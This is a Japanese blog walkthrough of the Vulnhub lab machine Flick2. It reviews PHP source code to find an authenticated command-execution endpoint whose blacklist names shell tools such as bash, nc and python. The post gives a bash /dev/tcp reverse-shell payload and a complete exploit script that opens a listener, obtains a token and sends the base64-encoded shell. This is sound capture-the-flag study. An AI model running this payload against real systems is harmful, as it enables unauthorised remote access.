0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

【Vulnhub】Flick2をやってみた

Posted at

ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Flick2 - Remote Command Execution]
(https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/flick2/)

#FLICK: 2

  • サーバー名: Flick: 2
  • リリース日: 2015年8月20日
  • 作者: Leonjza
  • シリーズ: Flick

#ディレクトリ構造
攻略に関係がないファイルを除外したディレクトリ構造

/usr/share/ngnix/serverchecker
├── public
│   └── index.php
├── server.php
├── bootstrap
│   └── app.php
├── app
│   ├── Http
│   │   ├── Controllers
│   │   │   └── Controller.php
│   │   ├── Middleware
│   │   │   ├── ApiAuth.php
│   │   │   └── ExampleMiddleware.php
│   │   └── routes.php
│   ├── Key.php
│   └── [other dirs/files]
├── database
│   ├── factories
│   ├── migrations
│   └── seeds
├── storage
│   ├── app
│   ├── database.sqlite
│   ├── framework
│   └── logs
└── vendor
    └── [other dirs/files]

server.phpが外部からアクセス可能です。

server.php
<?php
$uri = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));
if ($uri !== '/' && file_exists(__DIR__.'/public'.$uri)) {
    return false;
}
require_once __DIR__.'/public/index.php';

関係しているpublic/index.phpを確認します。

public/index.php
<?php
$app = require __DIR__.'/../bootstrap/app.php';
$app->run();

ルートファイル/app/Http/routes.phpを確認します。

/app/Http/routes.php
<?php
$app->group(['prefix' => 'do', 'middleware' => 'api_auth'], function () use ($app) {

    // Return the registration status of a uuid
    $app->get('/cmd/{command}', function($command) use ($app) {

        if (base64_decode($command, true) === False)
            return response()
                ->json([
                    'status' => 'error',
                    'output' => 'Bad command format.'
                ]);

        // Get the command...
        $command = base64_decode($command);

        // ... and filter it
        $bad_commands = [
            'bash',
            ...,
            'nc',
            'netcat',
            'python',
        ];

        if(0 < count(array_intersect(array_map('strtolower', explode(' ', $command)), $bad_commands))) {

            return response()
                ->json([
                    'status' => 'error',
                    'output' => 'Command \'' . $command . '\' contains a banned command.'
                ]);
        }

        $process = new Process($command);
        $process->run();

        if (!$process->isSuccessful()) {
            return response()
                ->json([
                    'status' => 'error',
                    'output' => $process->getErrorOutput()
                ]);
        }

        return response()
            ->json([
                'status' => 'ok',
                'command' => $command,
                'output' => $process->getOutput()
            ]);
    });

またコマンド実行にはAPIに対する認証が必要です。

/app/Http/routes.php
$app->group(['prefix' => 'do', 'middleware' => 'api_auth'], function () use ($app) {...}

/app/Http/Middleware/ApiAuth.phpを開き、認証機能を確認します。

/app/Http/Middleware/ApiAuth.php
<?php namespace App\Http\Middleware;

use Closure;
use Request;

class ApiAuth {
    public function handle($request, Closure $next)
    {

        if (!\App\Key::where(['uuid' => Request::header('X-UUID'), 'token' => Request::header('X-Token')])->first())
            return response()
                ->json(['error' => 'Invalid authentication headers.'], 401);

        return $next($request);
    }
} 

ApiAuth.phpはHTTPリクエストのX-UUIDX-Tokenが、Keyオブジェクトに存在するかどうかを確認します。

/app/Http/Middleware/ApiAuth.php
<?php namespace App;
use Illuminate\Database\Eloquent\Model;

class Key extends Model
{
    protected $fillable = ['uuid', 'token'];
}

認証済みセッションを登録するには、新しいkeyを作成する必要があり、新しいkeyを作成するには、適当なuuidを設定して、/register/new/にPOSTリクエストをおくる。トークンを取得後、次のリクエストを発行してリモートコマンドを実行します。

#認証バイパス
/app/Http/routes.phpでは、コマンドがブラックリスト方式で検証されています。

/app/Http/routes.php
<?php
if(0 < count(array_intersect(array_map('strtolower', explode(' ', $command)), $bad_commands))) {...}

このフィルターを回避するためにコマンドをbase64エンコードしスペースを区切り文字にします。

/do/cmd/$(echo -n '/bin/bash -i >& /dev/tcp/my_ip_address/444 0>&1' | base64)

最終的なエクスプロイトスクリプトは以下のようになります。

exploit.sh
#!/bin/sh

# Varibale used, change them to fit your needs
target="flick2.local"
lport="444"
lhost="192.168.56.1"
uuid="00000-231234fds-sdffdg2-32"
proxy="-x http://127.0.0.1:8080"

printf "[*] Staring Listener on port $lport"
gnome-terminal -- nc -lvkp $lport 2>/dev/null
sleep 1
echo "DONE"

printf "[*] Loggin in..."
token=$(curl -ksi $proxy -v -H "Content-Type: application/json" -X POST -d "{\"uuid\":\"$uuid\"}" "http://$target/register/new")
echo "DONE"

printf "[*] Crafting reverse shell command"
curl -ksi $proxy -v -H "Content-Type: application/json" -H "X-UUID: $uuid" -H "X-Token: $token" -X GET "http://$target/do/cmd/$(echo -n \"/bin/bash -i >& /dev/tcp/$lhost/$lport 0>&1\" | base64)" &>/dev/null
sleep 1
echo "DONE"
0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?